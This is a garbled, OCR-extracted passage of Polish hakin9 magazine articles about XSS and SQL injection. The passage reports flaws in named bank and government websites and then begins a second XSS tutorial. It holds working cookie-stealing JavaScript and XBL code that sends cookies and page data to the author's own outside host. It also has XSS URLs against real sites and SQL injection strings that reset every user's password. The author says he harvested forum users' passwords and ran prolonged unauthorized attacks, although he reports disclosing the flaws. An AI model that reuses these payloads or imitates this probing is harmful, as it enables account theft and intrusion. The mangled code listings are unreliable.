nawet o tym wiedział. Atakujący ma
możliwość zarówno przetwarzania
wyników zapytań GET, jak i POST.
Ta broń jest już teraz aktywnie
wykorzystywana w realnym świecie.
Programiści przeglądarek interne-
towych postanowili ograniczyć pole
ataku, nakładając na XMLHttpRequ-
est restrykcje. W Mozilla Firefox i In-
ternet Explorer 7 obiekt ten nie może
wykonywać zapytań do różnych do-
men, czyli na przykład kod wykony-
wany na stronie server.com nie ma
prawa wysłać do (lub pobrać danych
ze) strony server2.com. Po dłuższej
analizie tego zagadnienia dosze-
dłem do wniosku, iż takie ogranicze-
nie jedynie utrudnia życie programi-
stom, a nie potencjalnym napastni-
kom. Wyniki badań możemy zoba-
czyć na Listingu 1.

Na tej stronie ładowane są trzy

pliki JavaScript: normal – korzysta-
jący z obiektu XMLHttpRequest,
myxmlhttprequest – definicja moje-
go obiektu zapewniającego podob-
ną funkcjonalność oraz abnormal.js
– plik wykorzystujący stworzoną
przeze mnie implementację. Pliki te
można zobaczyć na Listingu 2.

Struktura obiektu MyXMLHttpRe-

quest w stosunku do XMLHttpRequ-
est różni się w dwóch punktach: po
pierwsze odpowiedź jest przekazy-
wana jako parametr funkcji, a nie
zmienna wewnątrz klasy; po drugie
można wykonywać jedynie zapyta-
nia asynchroniczne. A efekt działa-
nia kodu możemy zobaczyć na Ry-
sunku 1.

Należy jeszcze wspomnieć o

tym, iż obiekt może zostać urucho-
miony jedynie w obrębie body. Ko-
rzysta on również ze specjalnego
pliku PHP. Jego przykładowa imple-
mentacja zamieszczona została na
Listingu 5.

Przykładowe cele ataku

– Nordea i PKO Inteligo

Do tej pory w artykule opisałem jedy-
nie teoretyczną sytuację. Nie dałem
jednak żadnego przykładu wykorzy-

Listing 3.

Plik myxmlhttprequest.js

var

mysubglobalcallback

;

function

myglobalcallback

(myanswer)

{

mysubglobalcallback(

unescape

(myanswer))

;

}

function

mysend

(params)

{

mysubtmp

document.createElement(

'script'

)

;

mysubglobalcallback

this

.onreadystatechange

;

(

this

.method

"GET"

)

mysubtmp.src

"http://sectroyer.110mb.com/myhttp.php?u

rl="

escape

(

this

.url)+

"&method=get"

;

else

(

this

.method

"POST"

)

mysubtmp.src

"http://sectroyer.110mb.com/myhttp.php?u

rl="

escape

(

this

.url)+

"&method=post&vars="

escape

(params)

;

document.body.appendChild(mysubtmp)

;

this

.readyState

;

}

//we only can do asynchronous requests

function

myset

(mymethod,myurl,asynch)

{

this

.method

mymethod

;

this

.url

myurl

;

}

function

MyXMLHttpRequest

()

{

this

.method

;

this

.url

;

this

.readyState

;

this

.responseText

;

this

.sync

;

this

.onreadystatechange

;

this

open

myset

;

this

.send

mysend

;

}

Listing 4.

Plik abnormal.js

var

req

new

MyXMLHttpRequest()

;

function

callback

(responseText)

{

(req.readyState

)

{

alert

(responseText)

;

}

req.onreadystatechange

callback

;

req.

open

(

"GET"

"http://www.google.com/"

,true)

;

req.send(null)

;

req.

open

(

"POST"

"http://hroch486.icpf.cas.cz/cgi-bin/echo.pl"

,true)

;

req.send(

"your_name=test_name"

)

;

hakin9 Nr 5/2007

www.hakin9.org

Atak

stania przedstawionych przeze mnie
technik w praktyce. Aby zobrazować
potencjalne zagrożenie, posłużę się
opisami błędów w dwóch serwisach
internetowych – Nordea i PKO Inte-
ligo. Po przeanalizowaniu zabezpie-
czeń Banku Nordea udało mi się wy-
kryć kilka błędów. Ponieważ nie po-
siadam konta w tym banku, nie by-
łem w stanie dokładnie ocenić poten-
cjalnego niebezpieczeństwa, wynika-
jącego z wykorzystania tych luk. Sko-
rzystałem więc ze znajdującego się
na stronie http://www.nordea.pl for-
mularza, w celu, choćby częściowego
uzupełnienia mojej wiedzy i poinfor-
mowania o zaistniałej sytuacji. Szcze-
rze powiedziawszy, jak to często się
zdarza, nie spodziewałem się żadnej
reakcji. Dużym zaskoczeniem oka-
zała się dla mnie bardzo szybka od-
powiedź pracowników banku. Doszło
między nami do wielokrotnej wymiany
e-maili oraz kilku rozmów telefonicz-
nych. Poproszono mnie o przedsta-
wienie szczegółów dotyczących mo-
ich badań. Udzielono mi również do-
kładnych informacji na temat natury
wykrytych przeze mnie błędów. Jak
się okazało, część z nich wynikała z
pomyłki producenta oprogramowania
serwera www, a nie samego serwisu.
Dowiedziałem się również, iż całość
skryptów została sprawdzona pod ką-
tem zgłoszonych błędów. Po zakoń-
czeniu wszystkich prac poproszono
mnie o ponowne przyjrzenie się ser-
wisowi. Tym razem nie udało mi się
znaleźć żadnej podatności na ataki ty-
pu XSS. Cieszy mnie, iż Bank Nordea
podszedł do sprawy tak poważnie i to
zanim doszło do jakiegokolwiek szu-
mu medialnego. Ta pozytywna reak-
cja powinna być przykładem dla in-
nych instytucji. Najczęściej informacje
o lukach są albo ignorowane, albo do-
chodzi do tzw. cichego łatania luk za-
nim jakakolwiek wiadomość o nich do-
trze do opinii publicznej. Teraz chciał-
bym opisać szczegóły owych błędów.
Pierwsza wykryta przeze mnie luka
znajdowała się w części informacyj-
nej pod adresem www.nordea.pl w
polu szukaj: http://www.nordea.pl/pl/

search/?query=jasio

<script>alert

( d o c u m e n t.c o o k i e ); < / s c r i p t >

Udało się dzięki niej doprowadzić do

JavaScript Injection, przedstawione
na Rysunku 2 i 3.

Możliwe było również dopro-

wadzenie do pełnego XSS. Serwis
wewnętrzny, który znajduje się pod
adresem https://www.nordeasolo.pl.

Tutaj nie było już tak łatwo. Dane
przekazywane do serwera są od-
powiednio filtrowane, a część stron
jest po prostu statyczna. Niestety,
główny skrypt umożliwiał przekie-
rowania na inną podstronę: https://

Rysunek 1.

Efekt działania obiektu MyXMLHttpRequest

Rysunek 2.

Cookie zdobyte na stronie głównej

Listing 5.

Plik myhttp.php

php

(

isset

(

$_GET

[

'url'

])

==true

)

{

$curl

=curl_init

()

;

curl_setopt

(

$curl

,CURLOPT_COOKIE,

$_GET

[

'cookie'

])

;

curl_setopt

(

$curl

,CURLOPT_URL,rawurldecode

(

GET

[

'url'

]))

;

curl_setopt

(

$curl

,CURLOPT_RETURNTRANSFER,1

)

;

((

$_GET

[

'method'

]

"post"

)

(

isset

(

GET

[

'vars'

])

==true

))

{

$vars

=rawurldecode

(

$_GET

[

'vars'

])

;

curl_setopt

(

$curl

,CURLOPT_

POSTFIELDS,

$vars

)

;

}

$tmp

=curl_exec

(

$curl

)

;

curl_close

(

$curl

)

;

echo

"myglobalcallback(

.rawurlencode

(

$tmp

)

);"

;

}

Luki w serwisach Nordea i PKO Inteligo

hakin9 Nr 5/2007

www.hakin9.org

www.nordeasolo.pl/solo/www?dest=/

html/applications.jsp&lang=pl Jeśli w
treści parametru dest podamy nie
istniejący plik, to zostanie wyświe-
tlony komunikat o błędzie. Zawierał
on w swej treści wartość tego para-
metru, która nie była w żaden spo-
sób oczyszczana. W efekcie mogli-
śmy bezproblemowo doprowadzić do
XSS, jak na Rysunku 5.

Błędy, jakie wychwyciłem w PKO,

również nie były łatwe do wykrycia.
Zacznijmy od serwisu informacyjne-
go banku, znajdującego się pod ad-
resem http://www.pkobp.pl. Oczywi-
ście pierwsze swoje kroki skierowa-
łem do pola szukaj. Udało mi się tutaj
wydostać z cudzysłowów, jednakże
niemożność użycia niektórych zna-
ków nie pozwoliła mi na JavaScript
Injection.

Po dłuższej analizie odkryłem,

iż grafiki Flash nie są poprawnie za-
bezpieczane. Po kliknięciu na rekla-
mę użytkownik zostaje przekierowa-
ny na wartość zmiennej

clickTag

Możemy na przykład wpleść w treść
naszej strony taki odnośnik: http://

www.pkobp.pl/images/banners/bdm_

nagroda_150x100_1.swf?clickTag=ja-

vascript:alert (Hacked). Ogranicza nas
tylko nasza fantazja, przykład przeję-
cia cookie i zmiany treści strony może-
my zobaczyć na Rysunku 7.

Błąd ten może zostać wykorzy-

stany do phishingu. Nie pozwala jed-
nak na zdobycie żadnych przydat-
nych danych, chyba że atakujący jest
w stanie nakłonić internautę do uży-
cia guzika logowanie w celu zalogo-
wania się do części wewnętrznej ser-
wisu. Następnie przeanalizowałem
serwis Inteligo – internetową gałąź
PKO BP. Można by się spodziewać,
że tak wielka instytucja w odpowied-
nim stopniu zadba o bezpieczeństwo
swoich klientów. I faktycznie, trzeba
przyznać, że bezpieczeństwo serwi-
su jest wyższe niż w przypadku wie-
lu innych polskich banków. Nieste-
ty obie strony (http://www.pkobp.pl
i http://www.pkointeligo.pl) były pi-
sane bez globalnego myślenia. In-
nymi słowy wygląda to tak, że jed-
na osoba dodała jakąś funkcjonal-
ność do serwisu, a następnie ją po-
prawnie zabezpieczyła. Po jakimś

czasie drugi programista wykorzy-
stał ją w innej części strony, nie za-
dbał jednak odpowiednio o sprawy
bezpieczeństwa. W efekcie udało mi
się wykryć lukę pozwalają na Java-
Script Injection oraz XSS. Analizy lu-
ki dokonałem wspólnie z Panem Ma-
teuszem Stępniem z portalu Hack.pl.

Błąd znajduje się w dwóch najważ-
niejszych skryptach:

short _ ssk

- od-

powiedzialnego za składanie wnio-
sków kredytowych oraz ikd, który
zajmuje się obsługą całej bankowo-
ści internetowej, wykonywania prze-
lewów, sprawdzania stanu konta, do-
konywania ustawień. Ponieważ In-

Rysunek 4.

Kod powodujący XSS na stronie głównej

Rysunek 5.

Luka XSS w serwisie https://www.nordeasolo.pl

Rysunek 3.

Kod wyświetlający cookie

hakin9 Nr 5/2007

www.hakin9.org

Atak

teligo, nie używa ciasteczek, moż-
na sobie wyobrazić trzy scenariu-
sze ataku.

Użytkownicy Inteligo (z powodu

braku ciasteczek) są przyzwyczaje-
ni do komunikatów o wylogowaniu
(sam byłem świadkiem, kiedy mój
kolega logował się kilka razy). Wy-
starczy zwykłe odświeżenie stro-
ny, czy naciśnięcie guzika Wstecz,
a trzeba się logować ponownie.
Jeśli więc użytkownik po kliknięciu
na odpowiednio spreparowany link
zostałby wylogowany, oczywistym
jest założenie, iż mógłby się zalogo-
wać ponownie.

Użytkownik zapamiętał hasło i

login w przeglądarce. Jeśli więc, po
kliknięciu na link, czy nawet tylko
surfując po necie, doprowadzi on do
otwarcia strony Inteligo, przeglądar-
ka wypełni pola odpowiednimi warto-
ściami i po upływie np. 0.5 sekundy
wszystkie dane zostaną wysłane do
atakującego przez lukę RCSR.

Ten scenariusz jest chyba naj-

gorszy, gdyż daje 100% kontroli nad
kontem. Jeśli użytkownik na podej-

rzanej stronie spróbuje dokonać ja-
kiejkolwiek płatności przez Inteligo,
zostanie standardowo przeniesiony
na stronę https://www.pkointeligo.pl i
poproszony o zalogowanie, a następ-
nie dokonanie odpowiedniego prze-
lewu. W tym przypadku użytkownik
nie ma żadnej możliwości sprawdze-
nia, czy ewentualna transakcja jest
bezpieczna, co może się zakończyć
utratą wszystkich pieniędzy z konta.
W zamieszczonych zrzutach ekranu
ukazujących zagrożenie umieściłem
jeden, gdzie strona Inteligo została
podmieniona przez stronę Hack.pl.
Jak można zauważyć jest to do wy-
krycia, gdyż przeglądarka ostrzega
nas o tym (w Mozilla Firefox jest to
sygnalizowane przekreśloną ikoną
kłódki w polu adresowym). Jednak
jest możliwa pełna podmiana strony,
nie do wykrycia przez użytkownika.
Dowodem na to jest chociażby zrzut,
na którym znajduje się zamieszczo-
ne ostrzeżenie o kłopotach Inteligo
z bezpieczeństwem. Ta technika jest
trudniejsza i wymaga od atakujące-
go lepszego przygotowania. Użyłem
prostszej i możliwej do wykrycia me-

Listing 6.

Plik ala.xml

?xml version=

"1.0"

bindings xmlns=

"http://www.mozilla.org/xbl"

xmlns:xbl=

"http://www.mozilla.org/xbl"

xmlns:html=

"http://www.w3.org/1999/xhtml"

xmlns:xul=

"http://www.mozilla.org/keymaster/gatekeeper/

there.is.only.xul"

binding id=

"xss"

implementation

constructor

var

img2

new

Image()

;

img2.src

'http://sectroyer.110mb.com/save.php?login=test&cookie='

+document.cookie

;

var

cok

document.cookie.substr(document.cookie.

indexOf

(

'PHP'

))

;

var

document.getElementsByTagName(

'b'

)[

].innerHTML

;

e.substr(e.

indexOf

(

' '

))

;

var

usr

e.substr(

,e.

indexOf

(

'-'

))

;

var

img

new

Image()

;

img.src

'http://sectroyer.110mb.com/save.php?login='

+usr+

'&cookie='

+cok

;

var

req

null

;

(window.XMLHttpRequest)

// Object of the current windows

{

req

new

XMLHttpRequest()

;

// Firefox, Safari, ...

}

else

(window.ActiveXObject)

// ActiveX version

{

req

new

ActiveXObject(

"Microsoft.XMLHTTP"

)

;

// Internet Explorer

}

req.onreadystatechange

function()

{

(req.readyState

)

{

var

img2

new

Image()

;

img2.src

'http://sectroyer.110mb.com/save.php?action=save&dat

a='

escape

(req.responseText)

;

}

;

req.

open

(

"GET"

"forum_profil.php"

,true)

;

req.send(null)

;

/constructor

/implementation

/binding

/bindings

hakin9 Nr 5/2007

www.hakin9.org

Atak

tody, gdyż moim celem była jedynie
ilustracja problemu, a nie jego realne
wykorzystanie.

W momencie gdy piszę ten tekst,

błąd w PKO Inteligo jest już załata-
ny, jednakże podobne błędy uda-
ło mi się wykryć w wielu serwisach
bankowych, nie podaję więc żadnych
szczegółów. Chciałbym jedynie zwró-
cić uwagę czytelników na kwestie
bezpieczeństwa i przestrzec przed
lukami XSS. Gdybym mógł, przepro-
wadziłbym rzeczywisty atak na któryś
z banków wykorzystując takie błędy.
Jednak zakończyłoby się to dla mnie
rozmową z prokuratorem. Właśnie
dlatego przedstawiam schemat ata-
ku na inny serwis i proszę o odrobinę
wyobraźni. Jakiś czas temu zacząłem
grać w grę internetową dostępną na
stronie http://www.farmersi.pl. Wkrót-
ce jednak zainteresowało mnie w tym
serwisie co innego, a mianowicie po-
szukiwanie błędów. Poinformowa-
łem administratora o lukach, podzię-
kował mi i poprosił o bliższe zbadanie
bezpieczeństwa portalu. Jeszcze raz
przystąpiłem do badań i udało mi się
wykryć błąd w oczyszczaniu postów
na forum. Odpowiedni wpis, odwołu-
jący się do skryptu, znajduje się na
Rysunku 10. Po dwudziestu czterech
godzinach ponownie skontaktowałem
się z administratorem. Poinformowa-
łem go, że w moim posiadaniu znajdu-
ją się dane kilkudziesięciu graczy (ha-
sła, loginy, maile), w tym kilku z top 10.
Atak był możliwy, mimo zastosowa-
nych w serwisie restrykcji, co do ad-
resu IP. A wszystko to dzięki połącze-
niu luki XSS z potęgą obiektu XMLHt-
tpRequest. Teraz załóżmy, iż podob-
ne techniki zostałyby wykorzystane w
stosunku do jednego z banków.

SQL Injection

wciąż żywe

SQL Injection to typ luk w zabezpie-
czeniach, polegający na nieodpowied-
nim filtrowaniu lub niedostatecznym
typowaniu i późniejszym wykonaniu
danych przesyłanych w postaci zapy-
tań SQL do bazy danych. Podatne są
na niego systemy złożone z warstwy
programistycznej (np. skrypt w PHP,
ASP, JSP itp.), dynamicznie generu-
jącej zapytania do bazy danych (My-

SQL, PostgreSQL itp.). Najczęściej
błędy tego typu są tłumaczone za po-
mocą przykładu podobnego do tego:

SELECT * FROM users WHERE
user='$current_user';

Teraz wystarczy, iż w zmiennej

$current _ user

zamiast np. kowalski

pojawi się kowalski' or '1'='1, a zapy-
tanie przyjmie postać:

SELECT * FROM users WHERE
user='kowalski' OR '1'='1';

W tym momencie atakujący uzyska
dostęp do listy wszystkich użytkow-
ników bądź, w zależności od kontek-
stu tego zapytania, zaloguje się do
zamkniętej części serwisu. W wie-
lu dokumentach jest często napi-
sane, iż po średniku można podać
kolejne polecenia; nie wiem jed-
nak, czy jest baza danych, która na
to pozwala. Są jednak jeszcze gor-
sze przypadki. Spójrzmy na tą stro-
nę – Listing 8.

Stworzy to mniej więcej takie za-

pytanie:

Rysunek 7.

Wykorzystanie JavaScript Injection do pełnego XSS w domenie

pkobp.pl

Rysunek 8.

Atak phishingowy zmieniający kompletnie stronę

Rysunek 6.

Próba JavaScript Injection.

Luki w serwisach Nordea i PKO Inteligo

hakin9 Nr 5/2007

www.hakin9.org

UPDATE users SET password = '$newpass'
WHERE login = '$login' AND password =
'$pass';

Teraz wystarczy, że napastnik do-
prowadzi do czegoś takiego:

UPDATE users SET password = 'jasio'
WHERE '1' = '1' --' WHERE login =
'$login' AND password = '$pass';

Hasła wszystkich użytkowników w
bazie zmienią się wówczas na jasio.
Administratorzy i programiści serwi-
sów internetowych od wielu lat wal-
czyli z błędami SQL Injection i nie-
mal udało im się przechylić szalę
zwycięstwa na swoją stronę. Kil-
ka lat temu zajęto się specyficznym
rodzajem tych błędów, a mianowi-
cie sytuacją, gdy atakujący nie wi-
dzi żadnego wyniku swojego zapy-
tania. Ustalono, że może to być wy-
korzystane do zadawania serwerowi
pytań typu tak lub nie (stąd nazwa
blind – ślepy). Oznacza to, jeśli na
przykład strona ma skrypt news.php
i pod adresami: news.php?id=2 oraz

news.php?id=2 and 1=1 widzimy ar-
tykuł o krokodylach natomiast pod:

news.php?id=2 and 1=2 nic nam się
nie pojawi, że udało nam się zmienić
zapytanie. Ponieważ żaden wpis w
bazie go nie spełniał (2=1), nie ma-
my co czytać. Nikt nie traktował te-
go typu błędów poważnie, gdyż zga-
dywanie choćby jednego znaku wy-
magało nawet powyżej dwustu nie-
zależnych zapytań. Wszystko zmie-
niło się, gdy na dwóch konferen-
cjach (BlackHat Briefings USA 2004
i Defcon 12) przedstawiono program
SQueaL – pierwsze narzędzie, które
było w stanie nawet ściągnąć zawar-
tość całej bazy danych, korzystając
jedynie z Blind SQL Injection. Dzi-
siaj jest już dostępnych wiele takich
aplikacji, a ich funkcjonalność z każ-
dym dniem rośnie (sam współpracu-
ję nad projektem jednej z nich). To,
co wczoraj wydawało się niemożli-
we, dzisiaj jest w zasięgu ręki.

Blind SQL Injection

realnym zagrożeniem

Na początku tego roku mój znajomy
– Marcin Wyczechowski poinformował

Rysunek 10.

Luka XSS w serwisie www.farmersi.pl

Rysunek 11.

Przykładowy komunikat błędu

Rysunek 9.

Całkowicie niewykrywalna zmiana treści strony

Listing 7.

Skrypt z hasłem dostępowym do bazy Głównego

Inspektoratu Ochrony Środowiska

php

//plik ze zmiennymi do fun.php

$host1

'gios.gov.pl'

;

//host

$user1

'root'

;

//uzytkownik

$pass1

'xxxxxxxxx'

;

//haslo

$len

= 150;

//zdjecia

$aktual

'30.01.2007'

;

//ostatnia aktualizacja

$bgkolor

'#ffffcc'

;

//kolor tla w bipie

hakin9 Nr 5/2007

www.hakin9.org

Atak

o wykryciu błędu JavaScript Injection
w serwisie Telewizji Polskiej. Kiedy
przyjrzałem się stronie, rozpoznałem
ową nieprawidłowość jako lukę SQL
Injection. Wysłaliśmy odpowiedniego
maila do administratorów, ale nie do-
staliśmy żadnej odpowiedzi i sprawa
przycichła. Kilka tygodni później posta-

nowiłem sprawdzić, jak bardzo groźny
jest ten błąd. Na pierwszy rzut oka
wszystko wyglądało obiecująco. Ser-
wer zwracał komunikaty o złym zapy-
taniu, nie znalazłem żadnych znaków,
które byłyby niedozwolone. Byłem po
prostu pewien, iż wszystko pójdzie, jak
po maśle. A tu niespodzianka. Wyko-

nywane jest nie jedno, a kilka zapytań
o różnej ilości pobieranych elementów
i strukturze. Union stał się bezużytecz-
ny, subquery również. Wtedy po raz
pierwszy spotkałem się z terminem
Blind SQL Injection. Dzięki tej technice
udało mi się ustalić następujące fakty:
baza danych nazywa się tvp, użytkow-
nik tvppl, host znajduje się w sieci we-
wnętrznej pod adresem 10.16.3.152
czy dns-em mery.tvp.com.pl , a jako
dbms wykorzystywany jest MySQL w
wersji 4.1.12-standard-log. Byłem rów-
nież w stanie poznać wartość dowol-
nego pola w bazie. Konieczna jest do
tego wiedza o nazwie tabeli i kolumny,
ale komunikaty o błędach w zapytaniu
dają tą możliwość. Możliwe było otrzy-
manie około dziesięciu różnych komu-
nikatów, co daje możliwość stworzenia
całkiem dokładnego modelu bazy.

Po publikacji tych informacji na ła-

mach Hack.pl błędy zostały załatane,
jednakże nadal adres taki np., jak ten:

http://ww6.tvp.pl/View?Cat=1 powo-
duje wyświetlenie informacji o błędzie
w zapytaniu.

Zachęcony sukcesem tej tech-

niki postanowiłem wykorzystać ją
do zbadania zabezpieczeń ser-
wisu Urzędu Miasta Łodzi (http://

www.uml.lodz.pl). Ku mojemu zasko-
czeniu nie miałem tutaj żadnych pro-
blemów (oprócz wolnych odpowiedzi
serwera) nie tylko z wywołaniem do-
wolnego zapytania w bazie, ale rów-
nież ze ściągnięciem plików konfigu-
racyjnych httpd.conf,passwd, itp, po-
znaniem kodu skryptów czy wresz-
cie zdobyciem haseł dostępowych do
bazy danych. Strukturę jaką miał plik
z hasłami znajdziemy na Listingu 9.

Po 48 godzinach ciągłego ataku

doszedłem do wniosku, iż udało mi się
zebrać wystarczającą ilość dowodów
na krytyczność wykrytej przeze mnie
luki. Powiadomiłem administratora,

Rysunek 12.

Proces zdobywania nazwy użytkownika dzięki Blind SQL

Injection

Listing 8.

Strona logowania do części zamkniętej serwisu

charset=iso-8859-2" />

div>

<p>
<a href="http://validator.w3.org/

check?uri=referer"><img

src="http://www.w3.org/Icons/valid-xhtml11"
alt="Valid XHTML 1.1" height="31" width="88" /></a>

</p>

</body>
</html>

O autorze

Michał Majchrowicz, student III roku
informatyki na wydziale Elektrotechni-
ki, Elektroniki, Informatyki i Automaty-
ki Politechniki Łódzkiej.
Kontakt z autorem:
mmajchrowicz@gmail.com

Luki w serwisach Nordea i PKO Inteligo

hakin9 Nr 5/2007

www.hakin9.org

którego trochę zaskoczyła moja infor-
macja. Poproszono mnie o szczegó-
ły i podziękowano mi za pomoc. Błąd
został załatany w ciągu dwóch dni.

Moje zaciekawienie narastało.

Skoro serwery takich urzędów są nie-
zabezpieczone, to w jakim stanie są
serwisy rządowe? Postanowiłem za-
chować się, jak totalny lamer i spraw-
dzić jak szybko uda mi się znaleźć
coś ciekawego. Wszedłem na stronę

www.google.com i wpisałem następu-
jące zapytanie site:gov.pl . Nie stara-
łem się za bardzo. Klikałem na kolej-
ne wyniki wyszukiwania i sprawdza-
łem parametry stron (mniej więcej 30
sekund na serwis). Po kilku minutach
natrafiłem na niezabezpieczony ser-
wis – Głównego Inspektoratu Ochrony
Środowiska (http://www.gios.gov.pl).
Sam atak nie trwał długo. Wkrótce
stałem się posiadaczem plików konfi-
guracyjnych, kodu wszystkich skryp-
tów i danych dostępowych do bazy
danych, jak na Listingu 7.

Wysłałem odpowiedni mail do

administratorów i czekałem na od-
powiedź. Około godziny 14 następ-
nego dnia zadzwoniłem do Minister-
stwa Ochrony Środowiska w celu po-
znania reakcji na moją informację (nie
otrzymałem bowiem do tego momen-
tu żadnej odpowiedzi). Połączono
mnie z odpowiednią osobą, odpowie-
dzialną za ten serwer. Kiedy zapyta-
łem, jakie kroki zostały podjęte w celu
wyeliminowania ewidentnie krytycz-
nej luki, wyglądało na to, że Pan Sła-
womir Hebda po raz pierwszy dowie-
dział się o niej dopiero ode mnie pod-
czas telefonicznej rozmowy. I tym ra-
zem poprawiono stan zabezpieczeń.

Postanowiłem wtedy jeszcze

bardziej zawęzić swoje poszukiwa-
nia, sprawdzając stan bezpieczeń-
stwa w serwisie samego Minister-
stwa Środowiska (www.mos.gov.pl).
Udało mi się znaleźć cztery błędy w
dwóch serwerach baz danych (My-
SQL oraz PostgreSQL). Analizę tych
błędów przeprowadziłem wspólnie z
Panem Rafałem Pawlakiem z serwi-
su hacking.pl. Luki te pozwoliły nam
na otrzymanie dostępu do wszyst-
kich baz danych Ministerstwa Śro-
dowiska z prawem do wykonania
dowolnego zapytania oraz uzyska-

nia loginów i haseł dostępowych do
paneli administracyjnych serwisów
Ministerstwa Środowiska, co dało
nam możliwość dodawania(edycji)
usuwania informacji. Na przykład,
w podserwisie IPPC Polska mogli-
śmy w pełni zarządzać contentem
z działów: Wiadomości, Dokumenty,
Wskazówki, Prawo, Kategorie.

Chciałbym podkreślić fakt, że ma-

teriały zawarte w tym artykule ma-

ją wyłącznie charakter edukacyjny, a
jego celem jest ukazanie niskiego po-
ziomu zabezpieczania polskich serwi-
sów, nawet tych rządowych. Nieste-
ty administratorzy rzadko biorą sobie
do serca powiedzenie: Żeby pokonać

hackerów, trzeba być jednym z nich.
Wykorzystując błędy w serwisach,
atakujący tak naprawdę wykorzystu-
je lenistwo i niewiedzę osób odpowie-
dzialnych za ich bezpieczeństwo. l

Rysunek 13.

Uzyskanie pełnego dostępu do panelu administracyjnego

Rysunek 14.

Komunikat stworzony przez serwer baza danych

Listing 9.

Skrypt z hasłami dostępowymi do bazy Urzędu Miasta Łodzi

require

(

"db_mysql.inc"

)

;

class

DB_miasto

extends

DB_Sql

{

var

$Host

"localhost"

;

var

$Database

"uml"

;

var

$User

"root"

;

var

$Password

"xxxxxxxx"

;

}

class

DB_prawo

extends

DB_Sql

{

var

$Host

"localhost"

;

var

$Database

"uchwaly"

;

var

$User

"root"

;

var

$Password

"xxxxxxxx"

;

}

www.hakin9.org

hakin9 Nr 5/2007

Atak

ross-Site Scripting (dalej zwane XSS)
jest obecnie jedną z najczęściej wy-
stępujących podatności witryn na atak.

Skutkuje ona jednocześnie ogromną ilością
exploitów i błędów, omawianych każdego dnia
na grupach dyskusyjnych dotyczących bezpie-
czeństwa. Pod względem popularności ustę-
puje ona jedynie niesławnemu przepełnianiu
buforu. Mimo że niektórzy ludzie traktują XSS
jako mało wyrafinowaną technikę, stosowa-
ną głównie przez początkujących agresorów
(script kiddies), może ona być groźna.

Do przeprowadzenia ataku wymagana

jest jedynie przeglądarka, przy czym dobrze
przygotowany atak wymaga dobrej znajomości
języków skryptowych oraz zagadnień dyna-
micznych witryn.

Podstawowym błędem umożliwiającym

przeprowadzenie ataku XSS (podobnie, jak
w przypadku przepełnień buforu) jest nieod-
powiednie filtrowanie i sprawdzanie danych
przesyłanych przez użytkownika.

Wyobraźmy sobie internetową księgę go-

ści. Odwiedzający jest proszony o pozosta-
wienie w niej wpisu widocznego przez wszyst-
kich. Złośliwy użytkownik może jednak zosta-
wić, zamiast wiadomości, kod JavaScript. Jeśli

skrypt nie sprawdza danych wprowadzonych
przez użytkownika pod kątem nieodpowiedniej
zawartości, do strony zostanie załączony kod,
który wykona się w przypadku każdego odwie-
dzającego z włączoną obsługą JavaScript.

Niektórzy sądzą, że w ten sposób nie mo-

gą zostać wykradzione żadne istotne informa-
cje, jednak jest to dalekie od prawdy. W wielu
przypadkach istotne dane, takie jak informacje
uwierzytelniające czy dane osobiste, mogą być
przechowywane w ciasteczkach, treści strony,
bądź adresie URL. We wszystkich tych przy-
padkach istnieje możliwość wykradzenia ich
przez atakującego.

XSS – Cross-Site Scripting

Paul Sebastian Ziegler

stopień trudności

Odkąd Internet stał się istotnym elementem życia wielu ludzi,

bezpieczeństwo witryn stało się kluczowym zagadnieniem dla

webmasterów. Wstrzykiwanie własnego kodu do zmiennych w

dynamicznych stronach okazało się bardzo poważnym, ale też

interesującym zagrożeniem. Na kolejnych stronach niniejszego

artykułu poznasz zasady działania ataków XSS i dowiesz się, jak

przeprowadzać je w praktyce.

Z artykułu dowiesz się

• jak wstrzykiwać kod w podatne na atak witryny,
• jak omijać podstawowe mechanizmy filtrujące,
• jak zabezpieczać strony przeciwko atakom XSS.

Co powinieneś wiedzieć

• podstawy języka HTML,
• podstawy JavaScript,
• zasady działania dynamicznych witryn.

Wstrzykiwanie kodu

hakin9 Nr 5/2007

www.hakin9.org

Jak pokazuje ogromna liczba

odnotowanych incydentów, proceder
ten jest szeroko rozpowszechniony.

Aby sobie wyobrazić, jak po-

wszechne i łatwe do przeprowadze-
nia jest to działanie, należy uświado-
mić sobie, że podatna na zagrożenie
jest każda witryna wyświetlająca da-
ne wprowadzone przez użytkownika,
które nie zostały poddane odpowied-
niemu filtrowaniu.

Mimo że zasady odpowiedniego

filtrowania są znane od dosyć daw-
na, każdego dnia odkrywane są no-
we podatności nawet podstawowych
i popularnych aplikacji na tego typu
ataki. Dla przykładu, w ciągu ostat-
nich dwóch miesięcy, ofiarami ata-
ków XSS padły takie serwisy jak

amanzon.co.jp, icq.com oraz MIME-

Sweeper For Web.

Podstawy

Na początek przeanalizujmy skrypt
PHP widoczny na Listingu 1. By zaob-
serwować działanie ataku, będziesz
musiał umieścić go na swoim serwe-
rze http. Miej przy tym na uwadze fakt,
że niektóre serwery http mają wbudo-
waną i domyślnie włączoną obsługę
filtrowania danych wprowadzanych
przez użytkownika, by zapobiec ata-
kom XSS. Jeśli Twój serwer oferuje
taką funkcjonalność, do celów testo-
wych będziesz musiał ją wyłączyć.

Skieruj dowolną przeglądarkę

pod adres ze skryptem. Ujrzysz for-
mularz z dwoma polami do wprowa-
dzania tekstu wraz z krótkimi infor-
macjami. Jest to często spotykany
przypadek. To, co wpiszesz w pola,
zostanie zaprezentowane na kolejnej
stronie. Spróbuj teraz wprowadzić
następujący tekst do pola textarea:

< s c r i p t > a l e r t( " p o d a t n o ś ć " );
</script>.

Po wysłaniu formularza zobaczysz

wyskakujący alarm ze słowem podat-

ność, jak to przedstawione jest na Ry-
sunku 1. Gratulujemy, właśnie wstrzyk-
nąłeś kod JavaScript do witryny.

Co się stało

Przyjrzyjmy się Listingowi 2, który
zawiera dynamicznie wygenerowany
kod HTML. Jak widać, informacje
wprowadzone przez użytkownika są

wklejane bezpośrednio do kodu stro-
ny. Wprowadzając kod skryptowy do
pola textarea, otrzymamy tym samym
witrynę z naszym kodem, obecnym
w kodzie HTML. Przeglądarka odwie-

dzająca stronę nie będzie wiedziała,
skąd pochodzi kod i jakie było pier-
wotne założenie witryny. Zinterpre-
tuje i wykona kod obecny w bloku

, tak jak to zwykle robi.

Listing 1.

Podatny skrypt

php

setcookie

(

"xss"

"Ta treść zostanie zawarta w ciasteczku"

)

;

$text

$_GET

[

'text'

]

;

$title

$_GET

[

'title'

]

;

(

$text

&& !

$title

){

echo

html

head

title

XSS-Test | Wpisz wiadomość

/title

/head

body

form action=

"example.php"

input type=

"text"

name=

"title"

value=

"Temat"

textarea name=

